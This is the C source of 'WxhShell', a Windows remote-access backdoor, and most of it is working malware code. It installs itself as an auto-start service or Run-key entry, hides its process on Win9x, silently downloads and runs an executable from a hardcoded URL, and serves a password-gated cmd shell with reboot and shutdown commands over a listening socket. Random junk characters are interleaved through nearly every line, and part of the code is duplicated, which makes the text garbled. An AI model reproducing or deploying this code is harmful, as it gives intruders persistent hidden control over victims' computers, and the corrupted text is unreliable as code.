(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %p;;aZG NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :P8X?C63W] ;UpdkY
1 if (!NtQueryInformationProcess) return 0; \ gO!6 #J'V,_wH hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
MFyi#nq if(!hProcess) return 0; :@4+ } s|vx2-Cu] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }v xRjO, f4;V7DJ CloseHandle(hProcess); vd9PB N k
1lK`p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sK@]|9ciQ if(hProcess==NULL) return 0; H0\', X 0" F\V HMODULE hMod; gq~K(Q<O< char procName[255]; bfq%.<W unsigned long cbNeeded; 1\aV4T m1D,#=C,_ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y)68 Nd
He:: CloseHandle(hProcess); # AH gY. (qw;-A
W8 if(strstr(procName,"services")) return 1; // 以服务启动 g;~$xXn GdM|?u&s" return 0; // 注册表启动 KK?R|1VK9 } BsR3$ |RH^|2:x9Q // 主模块 D}rnpwp{ int StartWxhshell(LPSTR lpCmdLine) JLGC'mbJ { vt#&YXu{A SOCKET wsl; 5Mp$u756 BOOL val=TRUE; T"e"?JSRJ int port=0; m~tv{#Y struct sockaddr_in door;
c`}YL4 S;"$02] if(wscfg.ws_autoins) Install(); q}]z8 L h
^Wm03w port=atoi(lpCmdLine); 2;7n0LOs} VVe^s|~Z if(port<=0) port=wscfg.ws_port; *-3*51 jW ,Vy_%f WSADATA data; ^YB3$:@$U if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x|*m ok #[]B:
n6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -+0!Fkt@, setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }}LjEOvL= door.sin_family = AF_INET; ?]\v%[ho door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^3C%& door.sin_port = htons(port); 82YZN5S3]3 R=C+] if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;vUw_M{P=) closesocket(wsl); 'Uo|@tK return 1; lT8^BT } dW%;Z `pXPF}T if(listen(wsl,2) == INVALID_SOCKET) { ;Ouu+#s closesocket(wsl); h`D+NZtWm return 1; t?FPmbjv } yG<Q t+D Wxhshell(wsl); iwfH~ WSACleanup(); ~,{nBp9* 8p]Krs: return 0; %.s"l6 W W3xObt3w\ } ,ysn7Y{Y H6Kt^s<6xu // 以NT服务方式启动 \O\veB8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1ifPc5j} { =BBqK=W.d DWORD status = 0; fn.}LeeS> DWORD specificError = 0xfffffff; \7q>4[ y<)q;fI7 serviceStatus.dwServiceType = SERVICE_WIN32; 8'0KHn{# serviceStatus.dwCurrentState = SERVICE_START_PENDING; << aAYkx< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0*:4@go0}i serviceStatus.dwWin32ExitCode = 0; !%'c$U2 serviceStatus.dwServiceSpecificExitCode = 0; KCfcEz serviceStatus.dwCheckPoint = 0; ^S^7u serviceStatus.dwWaitHint = 0;
Lu~M=Fh 1y.!x~Pi, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h|.*V$3 if (hServiceStatusHandle==0) return; Cc` )P>L $1myf Z status = GetLastError();
MU~nvs;: if (status!=NO_ERROR) #zKF/H|_R { WQ1*)h8,9 serviceStatus.dwCurrentState = SERVICE_STOPPED; 6E.64+PJw serviceStatus.dwCheckPoint = 0; E"b"VB serviceStatus.dwWaitHint = 0; <9Pf]
G= serviceStatus.dwWin32ExitCode = status; ~[
x} serviceStatus.dwServiceSpecificExitCode = specificError; cz$q~)I$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); G
4C 7 return; N,u~ZEI } QfsTUAfR #zw 'H9l serviceStatus.dwCurrentState = SERVICE_RUNNING; t5 serviceStatus.dwCheckPoint = 0; b+mh9q'5E serviceStatus.dwWaitHint = 0; VTxLBFK; if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F anA~ } qU:Mvb^5& 9h
0^_|" // 处理NT服务事件,比如:启动、停止 06vxsT@ VOID WINAPI NTServiceHandler(DWORD fdwControl) $,B@yiie { HtGGcO'bqg switch(fdwControl) s~Od(,K { S t0AV.N1 case SERVICE_CONTROL_STOP: }u8 D5Q<( serviceStatus.dwWin32ExitCode = 0; Gv zw=~8 serviceStatus.dwCurrentState = SERVICE_STOPPED; ;COZHj9b serviceStatus.dwCheckPoint = 0; E cW$'>^ serviceStatus.dwWaitHint = 0; oyY0!w,Y { $@:z4S(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \!,@p e_ } / =2 return; N>4uqFo case SERVICE_CONTROL_PAUSE: 1?bX$$yl; serviceStatus.dwCurrentState = SERVICE_PAUSED; OA3* "d* break; NHL{.8L{ case SERVICE_CONTROL_CONTINUE: f6Io|CZWJ serviceStatus.dwCurrentState = SERVICE_RUNNING; !{L`Zd;C>w break; =~~Y@eX case SERVICE_CONTROL_INTERROGATE: -wjvD8fL break; V_"K }; ONw;NaE, SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7I_lTu( } QR;E>eEq csF!*!tta // 标准应用程序主函数 s`:-6{E int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .OC{,f+ { 30v 3C7o= }$ZcC_ // 获取操作系统版本 :D'#CoBA OsIsNt=GetOsVer(); :LwNOuavN GetModuleFileName(NULL,ExeFile,MAX_PATH); Q@-7{3 ?E?dg#yk // 从命令行安装 4^0L2BVcv if(strpbrk(lpCmdLine,"iI")) Install(); tj_+0J$sw: n)7olP0p // 下载执行文件 ~"+Fp&[9f if(wscfg.ws_downexe) { YkKq}DXj if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t<6`?\Gk WinExec(wscfg.ws_filenam,SW_HIDE); 'e4 ;,m } D{aN_0mT >}*iQq if(!OsIsNt) { 1cyX9X // 如果时win9x,隐藏进程并且设置为注册表启动 5Q.bwl : HideProc(); 4u
zyU_ StartWxhshell(lpCmdLine); bS+by'Ea1W } 1Yy5bg6+E else n(gw%w+\7 if(StartFromService()) ncluA~ 8 // 以服务方式启动 +FWkhmTv StartServiceCtrlDispatcher(DispatchTable); &\$l%icuo else >y&4gm // 普通方式启动 zhDmZ StartWxhshell(lpCmdLine); ,?+rM ; c%aY6dQG&% return 0; dE+xU(\,w } O7shY4 Sr Uu9\;f 7B$iM,}.b OgNt"Vg =========================================== )jK"\'cK =>Vo|LBoe vv
_I o cPxA
R]'U .,pGW8Js iNR6BP
W " dlC)&Ai n\}!'>d' #include <stdio.h> 4}{HRs? #include <string.h> .N99=%[}h #include <windows.h> jd$uOn.r #include <winsock2.h> _yyQ^M/ #include <winsvc.h> =uZ[ #include <urlmon.h> adh=Kp e!w s% "MaDz #pragma comment (lib, "Ws2_32.lib") *r)/.rK_ #pragma comment (lib, "urlmon.lib") #N%xr'H M SU|T #define MAX_USER 100 // 最大客户端连接数 kScq#<Y& #define BUF_SOCK 200 // sock buffer x-k}RI #define KEY_BUFF 255 // 输入 buffer N %-Cp) }u&.n
pc #define REBOOT 0 // 重启 g*b`V{/Vw #define SHUTDOWN 1 // 关机 d_*'5Eia6 mvI[=e* #define DEF_PORT 5000 // 监听端口 >C~-*M9 vBUx)l #define REG_LEN 16 // 注册表键长度 ^ad
p<?q4 #define SVC_LEN 80 // NT服务名长度 S*6P=O* <k'=_mC_ // 从dll定义API Cs7YD~, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lc6Wj'G
G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 716JnG> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T9\wkb. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U(DK~#} TmG$Cjf84 // wxhshell配置信息 ]:JoGGE a0 struct WSCFG { [Z|R-{" int ws_port; // 监听端口 KFdTw{GlJ7 char ws_passstr[REG_LEN]; // 口令 &IM;Yl int ws_autoins; // 安装标记, 1=yes 0=no rIg1]q char ws_regname[REG_LEN]; // 注册表键名 -
*!R char ws_svcname[REG_LEN]; // 服务名 (7q!Z!2 char ws_svcdisp[SVC_LEN]; // 服务显示名 k'X
v*U char ws_svcdesc[SVC_LEN]; // 服务描述信息 m(E-?VMHo char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s_-G`xT>{ int ws_downexe; // 下载执行标记, 1=yes 0=no N;7Xt9l char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V&<vRIsN char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pw*<tXH! W[[3'J TF }; 0'`>20Y VS<E?JnbFV // default Wxhshell configuration |GtTz& struct WSCFG wscfg={DEF_PORT, 6wx;grt'Z "xuhuanlingzhe", `me2Q 1, 7udMF3;> "Wxhshell", WY#A9i5Ge "Wxhshell", \ Q<c Y< "WxhShell Service", C
Fq3 "Wrsky Windows CmdShell Service", qz"di~ 7 "Please Input Your Password: ", z9pv| 1, TaeN?jc5 "http://www.wrsky.com/wxhshell.exe", SuU,SE'TX "Wxhshell.exe" "l
vPge }; L5!aLv# lN#W // 消息定义模块 ya3A^&: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PjNOeI@G char *msg_ws_prompt="\n\r? for help\n\r#>"; 7{=/rbZT? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &{NN!X char *msg_ws_ext="\n\rExit."; Ql^I$5& char *msg_ws_end="\n\rQuit."; 4Tgy2[D?q char *msg_ws_boot="\n\rReboot..."; wl H6 char *msg_ws_poff="\n\rShutdown..."; yEyx.Mh.Af char *msg_ws_down="\n\rSave to "; p'fq&a+ __M(dN(^ char *msg_ws_err="\n\rErr!"; A >< char *msg_ws_ok="\n\rOK!"; Gs;wx_k^ i1$ $86 char ExeFile[MAX_PATH]; A@xa$!4} int nUser = 0; r18euB% HANDLE handles[MAX_USER]; o^FlQy\ int OsIsNt; lJ;7sgQ# ] W39HL SERVICE_STATUS serviceStatus; ;+]
mcgN! SERVICE_STATUS_HANDLE hServiceStatusHandle; ^N#B(F NovF?kh2 // 函数声明 {Qbg'|HO=l int Install(void); >Lj0B%^EvM int Uninstall(void); 8&<C.nKP int DownloadFile(char *sURL, SOCKET wsh); 2#LTd{ int Boot(int flag); ewHk
(ru void HideProc(void); w%F~4|F int GetOsVer(void); b>SG5EqU@ int Wxhshell(SOCKET wsl); .Qk T-12 void TalkWithClient(void *cs); y(/"DUx int CmdShell(SOCKET sock); EYWRTh int StartFromService(void); @=JOAo int StartWxhshell(LPSTR lpCmdLine); D*.U? 1) 7n
( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n4 A_vz VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4.Luy _wMx KM // 数据结构和表定义 r Q)?Bhf SERVICE_TABLE_ENTRY DispatchTable[] = ,9;RP/"7 { yu3: Hv} {wscfg.ws_svcname, NTServiceMain}, VRden>vKN {NULL, NULL} c"HB7 }; 0?c2=Y xVYy`_| // 自我安装 j#4 Iu&YJ int Install(void) -;]m4R)z { {jdtNtw char svExeFile[MAX_PATH]; [0vgA#6I HKEY key; 2tPW1"M.n strcpy(svExeFile,ExeFile); ; '6`hZ Z*uv~0a>9Q // 如果是win9x系统,修改注册表设为自启动 u}_,4J
if(!OsIsNt) { _yx~t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ` mvPbZ0< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |T`ZK?B+u RegCloseKey(key); _A]8l52pt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {"kEu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qc4r?7S< RegCloseKey(key); >-S? rXO return 0; Y7*8 A, } o,qq*}= } )ZZjuFQJ) } oVZI([O else { 8M6
Xd]{% /;5U-<qf // 如果是NT以上系统,安装为系统服务 9j94]w2v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); stxei
6 if (schSCManager!=0) 6=pE5UfT { TA4>12C6 SC_HANDLE schService = CreateService /H (55^EMZ ( ;*{"|l qe schSCManager, g2RrBK, wscfg.ws_svcname, DtEvt+h wscfg.ws_svcdisp, s+m3&(X SERVICE_ALL_ACCESS, ztS:1\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *r)/Vx`S SERVICE_AUTO_START, Fal##6B SERVICE_ERROR_NORMAL, nu(;yIRP svExeFile, QT8GP?F NULL, we("#s1= NULL, X&LaAqlSG NULL, s78MXS?py NULL, |lDxk[ NULL gPE`mE ); cy-o@U"s8 if (schService!=0) ']bw37_U, { #zf,%IYF CloseServiceHandle(schService); :
Iq CloseServiceHandle(schSCManager); `{KdmWhW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :~^_*: strcat(svExeFile,wscfg.ws_svcname);
N%f%
U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mAM:Q*a' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W5*Kq^6Pd RegCloseKey(key); ]Y3NmL return 0; 0:iR=S } MD):g@ } p3,m), CloseServiceHandle(schSCManager); 7!;H$mxP } !kxJ&VmeF } f&L3M)T 0SV<Pl^ return 1; d=nv61] } 5i@WBa Yycfb // 自我卸载 bu8AOtY9E- int Uninstall(void) '" 4;;( { EJW}&e/ HKEY key; d iWi0@ ^O3i)GO if(!OsIsNt) { ^'ws/( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j.ZXLe~ RegDeleteValue(key,wscfg.ws_regname); /jl/SV+ RegCloseKey(key); ^)E#
c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zCdcwTe RegDeleteValue(key,wscfg.ws_regname); hHk9O? RegCloseKey(key); w{WEYS return 0; G,}"}v: } 9vckQCLM } Z8ds`KZM } yBRYEqS+ else { msVi3`q~ h e[2, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R $@$ if (schSCManager!=0) 8AJ#].q0F { e-Zul.m SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3UX6 Y]E3 if (schService!=0) +a"f)4\ { r4M;] if(DeleteService(schService)!=0) { LP'wL6# CloseServiceHandle(schService); mpNS}n6 CloseServiceHandle(schSCManager); xpp>5d
! return 0; TT oW>RP# } KPAvN M CloseServiceHandle(schService); |s,y/svp } #}Hdyl I\} CloseServiceHandle(schSCManager);
20]p< } xErAs}| } z?@N+||,. Qb5@e#
return 1; @1A.$: } vSy[lB|)24 \hWac%# // 从指定url下载文件 c,:nWf int DownloadFile(char *sURL, SOCKET wsh) Oye6IT" { /E!N:g< HRESULT hr; U4[GA4DZ char seps[]= "/"; D\| U_> char *token; k;Fxr% char *file; h'+F'1= char myURL[MAX_PATH]; Qff.QI, char myFILE[MAX_PATH]; (^"2"[?a XE]"RD<z strcpy(myURL,sURL); L&d.&,CNs' token=strtok(myURL,seps); 0g;)je2_2? while(token!=NULL) T!I3. { V%B~ q`4 file=token; I_ AFHrj token=strtok(NULL,seps); gT(8.<h8 } ,M~> t7+ <kk!ns I GetCurrentDirectory(MAX_PATH,myFILE); pfs]pDjS: strcat(myFILE, "\\"); BT`g'#O strcat(myFILE, file); .K]Uk/W send(wsh,myFILE,strlen(myFILE),0); 3~{0X- send(wsh,"...",3,0); ^]D+H9Tl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B>4/[
YHr; if(hr==S_OK) !b=W>5h return 0; "jLC!h^N else 8 C9ny} return 1; fwiP3*j+Nn &KY!a0s } %E"v@ 2liJ^ ` // 系统电源模块 :[CEHRc7x int Boot(int flag) *<[zG7+&[ { , 6Jw HANDLE hToken; 7#c4.9b? TOKEN_PRIVILEGES tkp; ~4|Tr z2T B*Ey&DAV if(OsIsNt) { Pf/8tXs} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O"/Sv'|H# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t-5Y,}j tkp.PrivilegeCount = 1; &r,)4q+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !.-u'6e
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =6+99<G|%M if(flag==REBOOT) { B,&QI&k`~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hsT&c| return 0; +KD7Di91<K } HOF=qE*p else { ktS^^!,l% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^ g|VZN return 0; 3<xDxj0< } U82mO+} } ;TS%e[lFhQ else { Mi{ns $B% if(flag==REBOOT) { OScqf]H if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^8A[
^cgq return 0; H9PnJr8 \ } 8]exsnZ else { kN78j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3!osQ1 return 0; ZHa>8x;Mjl } +iFt) } !_QT{H :e nR8MS return 1; _ziSH 3( } IM7<z,* oF aidQ,(PDj // win9x进程隐藏模块 -B9e&J
{K void HideProc(void) \D(3~y> { dS3\P5D.*c q\x.e.@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `}KxzD if ( hKernel != NULL ) ;>f\fhi' { J{-`&I'b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w$AR ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [U8/nT FreeLibrary(hKernel); ux)*B}/xh } LiV&47e*> <n 06(9BF return; 4xr^4\lk } 'QxJU$ "C\yM{JZ // 获取操作系统版本 VQ|{Q} int GetOsVer(void) >e
R^G5rn; { ]W14'Z OSVERSIONINFO winfo; @$n
$f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cS7\,/4S GetVersionEx(&winfo); rU&Y/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $/D?Vw:] return 1; U|x Hy+N else G^#>HE| return 0; |[Fb&x } DE?k|Get2 `Ucj_6&Tqs // 客户端句柄模块 _^#eO`4" int Wxhshell(SOCKET wsl) ;Vat\,45pg { h!%y,4IBR SOCKET wsh; xxvt<J struct sockaddr_in client; Yq6 @R|u DWORD myID; |cY,@X,X6 J(d[05x0 while(nUser<MAX_USER) yzp# { ~Yi4?B< int nSize=sizeof(client); 5l1R")0`t_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qz]qG=wmL if(wsh==INVALID_SOCKET) return 1; jaodcT0 ^AaE$G&: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t-KicLr if(handles[nUser]==0) <3BGW?=WP closesocket(wsh); %p )"_q!ge else # euG$( nUser++; \DS*G7.A+& } [;Lgbgt3f WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); te-xhJ&K heou\;GI" return 0; 3=sBe HL } L<@*6QH zgEN2d // 关闭 socket hZ*vk void CloseIt(SOCKET wsh) <ytzGDx { #0b:5.vy closesocket(wsh); F<g&t|@ nUser--; Vf pT5W< ExitThread(0); \]f+{d-& } Y?J/KW3 1gkpK`u(B // 客户端请求句柄 =bC' >qw} void TalkWithClient(void *cs) oio{@#DX` { w=;> S._2..%G SOCKET wsh=(SOCKET)cs; l $\2|D char pwd[SVC_LEN]; 27ZqdHd char cmd[KEY_BUFF]; CYy=f- char chr[1]; m8{8r>6* int i,j; X;W0r5T 5s3QN{h8 while (nUser < MAX_USER) { TYGI
f4z 4E 5;wH if(wscfg.ws_passstr) { bpZA%{GS if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gjG SI'M0B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &Ril[siw //ZeroMemory(pwd,KEY_BUFF); {guOAT-w i=0; ,b!D8{W"N while(i<SVC_LEN) { K0j%\]\Tp )m;*d7l~p // 设置超时 Pz0MafF|T fd_set FdRead; "JSIn"/ struct timeval TimeOut; Cwls e- FD_ZERO(&FdRead); <`pNdy4 FD_SET(wsh,&FdRead); 5e,u*J] TimeOut.tv_sec=8; #)~u
YQ TimeOut.tv_usec=0; oFP8s[B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^zV_vB)n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fV>d_6Lf} )S+fc= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W/BPf{U pwd=chr[0]; &j1-Ouy if(chr[0]==0xd || chr[0]==0xa) { $L0sBW& pwd=0; YdO*5Gb6 break; gyAJ#N| } xAd@.^ i++; \O "`o4 } ]Pe>T& o 7kg.w| // 如果是非法用户,关闭 socket j8Z;}Ps if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xkRMg2X.>9 } 0ex.~S_Oj4 1}la)lC send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *V',@NH#Os send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +U<YM94? ,V!"4T,Z while(1) { _:Xmq&<W Lq>lj`> ZeroMemory(cmd,KEY_BUFF); .kFO@: j36YIz$a // 自动支持客户端 telnet标准 eg/itty j=0; ZS=H1 while(j<KEY_BUFF) { C5V}L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Cm!5Q Yy cmd[j]=chr[0]; @ U=y}vi8 if(chr[0]==0xa || chr[0]==0xd) { '(B -{}l cmd[j]=0; ZT!8h$SE: break; {p1`[R&n# } lFt! j++; s9sl*1n1m` } Lp:VU-S w*XM*yJHU // 下载文件 ;=0mL, if(strstr(cmd,"http://")) { 6k;5T send(wsh,msg_ws_down,strlen(msg_ws_down),0); K'
`qR if(DownloadFile(cmd,wsh)) G(wK(P0j send(wsh,msg_ws_err,strlen(msg_ws_err),0); )-!)D else ;]1t|td8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rs"=o>Qu } w>f.@luO4 else { $7AsMlq[( Ywhhs
}f switch(cmd[0]) { DDR4h"Y *Lrrl // 帮助 79>x/jZka case '?': { z{OL+-OY send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c\o_U9=n break; .B~yI3D`M } DDkN3\w // 安装 uxL+oP0 case 'i': { wX)'1H):T if(Install()) S\N l|U[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); o`Z3} else 3HtM<su*h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aB~k8]q. break; DI8I'c-P } l=XZBe*[g' // 卸载 TW&s c9 case 'r': { iSf%N>y'K if(Uninstall()) Te}gmt+#% send(wsh,msg_ws_err,strlen(msg_ws_err),0); XuJyso9kA else [/hoNCH! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
'v Vt^h2 break; kXhd]7ru } ;q-c[TZC // 显示 wxhshell 所在路径 Cu%BU}( case 'p': { [\Wl~
a l char svExeFile[MAX_PATH]; y g(Na strcpy(svExeFile,"\n\r"); ?&:N|cltD strcat(svExeFile,ExeFile); aOg9Dqtg)f send(wsh,svExeFile,strlen(svExeFile),0); A*0X~6W break; Cw:|(`9 } "Fmq$.$% // 重启 >)Qq^?U case 'b': { yj_/:eX send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -]KgLgJ if(Boot(REBOOT)) FYik}wH] send(wsh,msg_ws_err,strlen(msg_ws_err),0); qdk!.A{ else { ("=q-6$G closesocket(wsh); J ##a;6@ ExitThread(0); {nSgiqd"28 } AUF[hzA break; A
,0}bFK } Oq<3&* // 关机 _gK}Gi?| case 'd': { k2->Z);X send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]+ub
R; if(Boot(SHUTDOWN)) 4mW$+lzn send(wsh,msg_ws_err,strlen(msg_ws_err),0); g,YF$:e else { > Q=e9L= closesocket(wsh); .&]3wB~ ExitThread(0); >N!
Xey } A1B[5a*o! break; @+~URIG) } :twp95{R1 // 获取shell y /8iEs case 's': { )ty>{t CmdShell(wsh); c9H6\ & closesocket(wsh); M3KK^YRN ExitThread(0); ,>(X}Q
break; r4FSQ$[9w } a>#$&&oQ0 // 退出 ~,F]~|U7l case 'x': { #r>)A send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _G4U CloseIt(wsh); Q!-"5PX break; [Ti' X# } :k_)Bh?+ // 离开 d/T Fx case 'q': { b[&ri:AC send(wsh,msg_ws_end,strlen(msg_ws_end),0); xZq, kP^ closesocket(wsh); A Ef@o+A WSACleanup(); uUBUUr exit(1); -=:tlH
n break; fUq}dAs*K } U\{I09@E 0 } _^eA1}3 } *.$ov<E. 'Q7t5v@FF // 提示信息 *
kL>9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kzt:rhiB } "j&p3 } A&KY7[<AC{ 9*"K+t: return; S:2 xm8
i } |Cfo(]>G .;vd // shell模块句柄 UK8k`;^KI int CmdShell(SOCKET sock) `N7erM { rP6k} STARTUPINFO si; z __#PQ,n ZeroMemory(&si,sizeof(si)); jt @2S si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e \kR/<L si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &&}c R:U, PROCESS_INFORMATION ProcessInfo; )OlYz!#? char cmdline[]="cmd"; O9N%dir CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %74f6\ return 0; Z
+<Y.*6 } *:l$ud gs@^u#O // 自身启动模式 2<2a3'pG int StartFromService(void) OWN|W, { m|Z[8Tup typedef struct ]?jmRk^. { uxq#q1 DWORD ExitStatus; e
[F33% DWORD PebBaseAddress; ryd}-_LL DWORD AffinityMask; wDh&S{N DWORD BasePriority; d?CU+=A&| ULONG UniqueProcessId; 9I|Q`j?p` ULONG InheritedFromUniqueProcessId; Xn<|6u } PROCESS_BASIC_INFORMATION; P}PMRAek +hT9V1'-D PROCNTQSIP NtQueryInformationProcess; yg4ILL r^\Wo7q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 52
DSKL static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8HSGOs =8 Gg7ZSB 7 HANDLE hProcess; Pb :6nH= PROCESS_BASIC_INFORMATION pbi; |@ZyD$? 1T3YFt@&I HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y7yzM1?t if(NULL == hInst ) return 0; YGq-AB <DdzDbgax g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K*MI8') g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lU3Xd_v
O NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l}Vg;"1'J kZ
9n@($B if (!NtQueryInformationProcess) return 0; Qc:Sf46O |1 LKdP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~H gN'#Y? if(!hProcess) return 0; v-Uz,3 v\COl* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /^Lo@672 y\[GS2nTX CloseHandle(hProcess); n~&e>_;(. Hkj|
e6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .rbKvd?-} if(hProcess==NULL) return 0; {S5D~A*a+ e-o$bf% HMODULE hMod; ?x =Sm|Ej char procName[255]; B.[5N;c unsigned long cbNeeded; 51M'x_8 kI$p~ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y/A<eHLy CW#$% CloseHandle(hProcess); qfEB VS( e?b<-rL
